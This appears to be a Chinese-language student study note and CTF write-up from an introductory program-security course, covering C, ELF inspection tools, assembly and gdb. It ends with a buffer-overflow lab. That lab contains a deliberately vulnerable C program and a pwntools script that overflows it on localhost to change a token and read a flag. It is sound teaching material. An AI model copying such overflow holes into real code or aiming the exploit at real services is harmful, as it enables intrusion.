---
# System prepended metadata

title: 程式安全入門
tags: [note]

---

# SecurityFocus Online -程式安全入門課程

筆記 & 練習題writeup
因為我是自己的虛擬機，這裡證明以使用者yiwen取代echo yiwen
筆記記一些我不熟或新學到的
**JMGSH y1w3n 
2024.01.31**

---
關於課程
這次課程為線上形式，分成2天，在課程中我們能學到如何在Linux環境中寫程式並編譯執行及利用分析執行檔，課程中程式語言以C語言為主，有C語言的基礎後進到組合語言，介紹幾款逆向工具並操作(gdb、radare2、ghidra)，最後用以上學到的技巧完成PWNBuffer overflow 的題目。
[課程github連結](https://github.com/MyFirstSecurity2020/ProgSec/tree/main?tab=readme-ov-file)

---
OUTLINE
[TOC]

## 一. Linux C 程式設計
### 1. 編譯執行
* ``gedit c1.c`` : 創建名為c1.c的檔案(會跳出可以輸入程式碼的地方)
* ``gcc c1.c -o c1`` : 編譯檔案，創建名為c1的執行檔
* ``./c1`` : 執行名為c1的執行檔
![image](https://hackmd.io/_uploads/H1zT1Oh26.png)
* 編譯並執行結果 : 
![image](https://hackmd.io/_uploads/Sk98KsDqa.png)
### 2. 格式化輸出
```gcc=
#include <stdio.h>
#include <math.h> 

int main()
{
   float a = 1.0, b = 6.0, c=4.0;
   printf ("%.4f", sqrt(a+b*c)); //sqrt開根號
   return 0;
}
```
* 編譯並執行結果
    * 無法編譯? 
    ![image](https://hackmd.io/_uploads/rJHWdJd5a.png)
        * 因為Linux系統預設不會自己自動連結``math.h``函式庫，所以要使用``-lm``連接
    * 編譯成功
![image](https://hackmd.io/_uploads/H1nsvJdqa.png)
* 修改看看第7行``"%.4f"``看輸出什麼
    * ``%.f`` : 5
    * ``%.7f`` : 5.0000000
### 3. 遞增遞減
```gcc=
#include <stdio.h>
int main()
{
   int a = 11111, b = 22222;
   printf("%d", (a++)+(++b));
   return 0;
}
```
* ``a++`` 跟``++a``差別
    * ``a++`` : 會先執行整個敘述後再將a的值加1
    * ``++a`` : 先把a的值加1，再執行整個敘述
### 4. ``? :`` 運算子(三元運算子)
```gcc=
#include<stdio.h>
 
int main()
{
    int num;
 
    printf("請輸入一個正整數 : ");
    scanf("%d",&num);
 
    (num%2==0)?printf("偶數"):printf("奇數"); 
    //要是num%2等於0就輸出偶數，否則輸出奇數
}
```
* 編譯並執行結果
![image](https://hackmd.io/_uploads/Bk6ylxuqa.png)
### 5. HW
* Q1 : 底下輸出結果是多少? and why?
```gcc=
#include <stdio.h>
#include <stdlib.h>
int main(void) {
  int x;
  float y;
  for (x=0, y=50; x<25; x+=5, y/=2)
    printf("x=%d, y=%4.2f\n", x, y);
  return 0;
}
```
* A1: 
    * 直接執行
    ![image](https://hackmd.io/_uploads/BJL-mld9p.png)
    * 因為迴圈在``x<25``之前會一直執行，輸出為當前x值和y值，每執行完1次x就+5、y除2

---

* Q2 : 底下輸出結果是多少? and why?
```gcc=
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
   int i, sum = 2, prm = atoi(argv[1]);
   for(i = 3; i < prm; i++)
   {
      int j;
      int flag = 1;
      for(j = i - 1; j > 1; j--)
      {
         if(i % j == 0)
         {
            flag = 0;
            break;
         }
      }

      if(flag == 1)
         sum += i;
         
   }
   printf("The sum is: %d\n", sum);
}
```
* A2 : 
    * (輸入) : (輸出)
    * 0~3 : 2
    * 4、5 : 5
    * 6、7 : 10
    * 8、9 : 17
    * 因為prm的值來自輸入參數，prm要大於3 for迴圈才會執行，否則sum會輸出2，當輸入為4的時候第7行的for迴圈執行1次，這時候j=2，2>1，所以會執行第11行的for迴圈，但3 % 2 != 0，不符合if條件所以不執行，再來for迴圈的j變成1不符合j>1所以for迴圈不會執行，最後因為flag等於1所以sum=2+3=5，後面以此類推

---

* Q3 : 底下輸出結果是多少? and why?
```gcc=
#include <stdio.h>

int main(int argc, char *argv[])
{
   int i, sum = 0;
   for(i = 0; i < 100; i++)
   {
      if(i % 3 == 0 && i % 2 == 0)
         sum += i;
   }
   printf("The sum is: %d\n", sum);
   return 0;
}
```
* A3 : 
    * 輸出 : **The sum is: 816**
    * 因為第一個for迴圈會執行100次，要是為3跟2的公倍數時總和就加那個數所以是6+12+18+24+30+36+42+48+54+60+66+72+78+84+90+96=816

---

* Q4 : 底下輸出結果是多少? and why?
```gcc= 
#include<stdio.h>
void main(void){
   int k=0, total=0;
   while(k<=16){
     if(k % 4 != 0){
       k++;
       continue;
     }
    
     total +=k;
     k++;
     }

   printf("Total=%d\n", total);
}
```
* A4 : 
    * 輸出 : **Total=40**
    * 因為如果k不是 4 的倍數，則k+1並跳過循環的其餘部分。如果k是 4 的倍數，total+k、k+1

---

* Q5 : 使用遞迴函數方式計算費式序列Fibonacci Serie
* 因為答案在github已經秀出來了所以我用迴圈解
* writeup : 
![image](https://hackmd.io/_uploads/ByR-WXY5T.png)

## 二. Linux 執行檔分析
### readelf工具
![image](https://hackmd.io/_uploads/Sk6zFC2n6.png)
* 用於顯示有關 ELF（可執行和可連結格式）檔案的資訊。
    * ``` readelf -h /bin/ls```: 顯示 /bin/ls 二進位檔案的 ELF 表頭(ELF Header)
    ![image](https://hackmd.io/_uploads/SJMMIAhha.png)
    * ``` readelf -S /bin/ls```: 顯示有關 ELF 檔案中每個sections的詳細資訊
    ![image](https://hackmd.io/_uploads/r1ABUChn6.png)
    * ```readelf -s /bin/ls```: 符號表包含有關二進位檔案中使用的符號的信息，包括函數和變數
    ![image](https://hackmd.io/_uploads/HkfF803na.png)
    * ```readelf -d /bin/ls```:動態連結訊息，包括共享庫依賴項和版本控制詳細資訊
    ![image](https://hackmd.io/_uploads/H18sLRhhT.png)
    * ```readelf -l /bin/ls```:二進位檔案中段的佈局
    ![image](https://hackmd.io/_uploads/rkZNwCh36.png)
    * ```readelf -x .text /bin/ls```:檢查 .text 部分
    ![image](https://hackmd.io/_uploads/rJ1vv03nT.png)
    * ```readelf --dyn-syms /bin/ls```:列印動態符號
    ![image](https://hackmd.io/_uploads/H19KP0nnT.png)

### objdump工具
* 可以使用指令對目標檔案或執行檔進行反編譯，以一種可閱讀形式讓我們了解二進位檔案可能帶有的附加資訊
* 範例 helloYIWEN.c
```gcc=
#include <stdio.h>

int main()
{
   printf("Hello YIWEN\n ”);
   return 0;
}
```
* 編譯 gcc -o helloYIWEN helloYIWEN.c -g
* ```objdump -h helloYIWEN``` : 顯示section headers
![image](https://hackmd.io/_uploads/HJ8lWQ0hT.png)
* ```objdump -S helloYIWEN```: 使用att格式反編譯(預設:使用AT&T語法)
    * main
    * ![image](https://hackmd.io/_uploads/r14Bm70hp.png)
* ```objdump -S -M intel helloYIWEN``` : 使用intel格式反編譯
    * AT&T 格式中，暫存器名要加上 '%' 作為字首；而在 Intel 彙編格式中，暫存器名不需要加字首 
    * ![image](https://hackmd.io/_uploads/rkW9BQRhT.png)
    ![image](https://hackmd.io/_uploads/SJmkNmRhT.png)
* ```objdump -S -j .text -M intel helloYIWEN``` 
    ![image](https://hackmd.io/_uploads/HJLeB7R3p.png)
* ```objdump -S -j .text -M intel helloYIWEN --no-show-raw-insn ```
    * 不顯示機器指令 ==> --no-show-raw-insn
    ![image](https://hackmd.io/_uploads/HJoHSQCh6.png)

### HW
* 參考底下[文章](https://www.geeksforgeeks.org/hexdump-command-in-linux-with-examples/)完成測試報告
:::spoiler 報告打開這裡
* 測試報告:
    * 我創建了一個叫HW的檔案作為這次的分析目標
    ![image](https://hackmd.io/_uploads/Sk56ZBtca.png)
    * ``hd -b HW`` : 一位元組八進位顯示。以十六進位顯示輸入偏移量
    ![image](https://hackmd.io/_uploads/Sk8r4SFq6.png)
    * ``hd -c HW`` : 十六進位，字會對照在底下
    ![image](https://hackmd.io/_uploads/HJqcNBYqa.png)
    * ``hd -C HW`` : 十六進位 + ASCII code
    ![image](https://hackmd.io/_uploads/SJN6HSKqT.png)
    * ``hd -d HW`` : 兩位元組十進位顯示
    ![image](https://hackmd.io/_uploads/rkKvLHtqT.png)
    * ``hd -n <length> HW`` : 顯示前n個字元 
    ![image](https://hackmd.io/_uploads/HJnWdSt9a.png)
    * ``hd -o HW`` : 二位元組八進位顯示
    ![image](https://hackmd.io/_uploads/Sk3UurFqa.png)
    * ``hd -s <offset> HW`` : 少顯示前n個字元
    ![image](https://hackmd.io/_uploads/ryVidBF5T.png)
    * ``hd -v HW`` : 顯示所有輸入資料
    ![image](https://hackmd.io/_uploads/Hy-xYBKc6.png)
    * ``hd -x HW`` : 兩位元組十六進位顯示
    ![image](https://hackmd.io/_uploads/r1K0uSY9p.png)
   
:::

    
#### CTF練習題
* hexedit
    * 用``strings <filename> | grep <關鍵字> ``
    ![image](https://hackmd.io/_uploads/HytO5SK96.png)
    * FLAG : **easyctf{ffee0779}**

* networkingOK.pcap
    * 法一 : 因為是網路封包所以用wireshark打開
        * 點第一個封包 -> follow -> tcp stream
        ![image](https://hackmd.io/_uploads/HyBXiSt5a.png)
    * 法二 : 用string
    ![image](https://hackmd.io/_uploads/HJ8njBFqp.png)
    * FLAG : **flag{d316759c281bf925d600be698a4973d5}**
## 三. Linux 組合程式設計
```asm=
; hello.asm
section .data					
    msg	db      "hello, CTFer",0			

section .bss							

section .text							
    global main					
main:
						 
    mov     rax, 1		; 1 = write	
    mov     rdi, 1		; 1 = to stdout		
    mov     rsi, msg	        ; string to display in rsi
    mov     rdx, 12		; length of the string, without 0
    syscall				; display the string
    
    mov     rax, 60		; 60 = exit	
    mov     rdi, 0		; 0 = success exit code	
    syscall				; quit
```

* 組合語言就是對暫存器下指令

| %rax | syscall | %rdi | %rsi | %rdx|
| ---- | ------- | ---- |------|-----|
| 1 |	sys_write |unsigned int fd | char *buf |	size_t count|
| 60     |sys_exit     | int error_code |

* 使用myCompiler線上編譯
![image](https://hackmd.io/_uploads/r1OuWm59T.png)
* **C語言的一行在組合語言會變得很長**

---

### GDB教材導讀
![image](https://hackmd.io/_uploads/SyWvBXqqa.png)
#### 使用 gdb 分析hello執行檔
* ``gdb hello`` : 
![image](https://hackmd.io/_uploads/HyaJP7c5p.png)
* ``list`` : 列出組合語言
![image](https://hackmd.io/_uploads/SkLH8mcqp.png)
* ``run`` : 執行
![image](https://hackmd.io/_uploads/rk1tIXqqa.png)
* ``quit`` : 離開
![image](https://hackmd.io/_uploads/SydZvmc9p.png)
* ``set disassembly-flavor intel`` : 讓GDB可以去竄改hello檔(intel語法格式)
* ``disassemble main`` : 反組譯main
![image](https://hackmd.io/_uploads/Hk8rOQq5p.png)
* `` x/c 0x404028`` : x->看、c->字元
![image](https://hackmd.io/_uploads/B1ao_Q5qa.png)
* `` x/10 0x404028`` : 看10個
![image](https://hackmd.io/_uploads/HytMY799a.png)
* `` x/s 0x404028`` : 看整個字串
![image](https://hackmd.io/_uploads/H18dKQ99p.png)
* ``break main`` : 設定中斷點在main
![image](https://hackmd.io/_uploads/Syd49m9qp.png)
* ``i r`` : 看暫存器目前存的東西 rip存的就是下一個要執行的
![image](https://hackmd.io/_uploads/rJ2RqX9qT.png)

## 四. 逆向工程入門
### 我的第一個PWN實測:Buffer overflow(緩衝區溢位) 
#### pass.c
```gcc=
#include"stdio.h"
#include"stdlib.h"

int main(){
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  
  int token = 1234;
  char key[16];

  printf("Billy left his key in the locked room.\n");
  printf("However, he forgot the token of the room.\n");
  printf("Do you know what's the key?");

  read(0, key, 40);

  if((int)token == 0xdeadbeef){
    printf("Door open. OwO\n");
    system("cat ./flag");
  }else{
    printf("Cannot open door. QwQ\n");
  }

  return 0;
}
```

* ``gcc -fno-stack-protector -z execstack pass.c -o pass -no-pie`` : 編譯
    * ``-fno-stack-protector`` : 沒有stack保護
    * ``-z execstack`` : 讓stack可以執行
* ``socat TCP-LISTEN:1988,fork EXEC:'./pass'`` : 建立伺服器端
![image](https://hackmd.io/_uploads/S1yW6I99p.png)
#### 攻擊者端
* 看到pass.c第15行讀了40個但key只有16個，這裡有一個漏洞叫Buffer overflow
    * 當讀取的字串長度超過了分配的記憶體大小會怎麼樣？
        * 會把後面的記憶體空間覆寫過去
        * 就可以竄改 return address，掌控程式的運作流程
* 使用``pwn checksec pass``看到它stack沒有保護
![image](https://hackmd.io/_uploads/rkbapUq9a.png)
* 用r2下去看，分析完後用``afl``看函數
![image](https://hackmd.io/_uploads/S1_D0Icq6.png)
* 然後跳到main : ``s main``
* 用``VV``打開可視化界面
![image](https://hackmd.io/_uploads/HJUcyD996.png)
* ``jne 0x40127b`` : 跟0xdeadbeef不一樣的話就跳到0x40127b -> Cannot open door. QwQ

![image](https://hackmd.io/_uploads/HkkDgv5cp.png)
* 設了兩個變數
    * 代表有一個save rbp
        * local_20h : char key[16]
        * local_4h : int token
![image](https://hackmd.io/_uploads/BySd8v59p.png)

![image](https://hackmd.io/_uploads/Sya2Mv9qa.png)
* 存入1234
* 要把1234蓋掉變成0xdeadbeef
* 要填入多少才能蓋掉? 
    * 0x20 - 0x4 = 32 - 4 = 28
#### slove. py
```
from pwn import *

# r = process('./pass')

# r = remote('120.114.62.210',6125)
r = remote('localhost',1988)

payload = b'A'*28
r.sendline(payload+ p64(0xdeadbeef))

r.interactive()
```
![image](https://hackmd.io/_uploads/HyitDv99T.png)
* FLAG : **MyFirstProgSegCTF{Have a GoOd dAY!}**

### 延伸學習
用逆向的技巧解臺大電腦安全的題目(linux環境使用，radare2、ghidra、IDA)
[簡報](https://www.canva.com/design/DAF6UzXJVMY/Cwgp6hPTBTKOEzPa31Ypng/edit?utm_content=DAF6UzXJVMY&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton)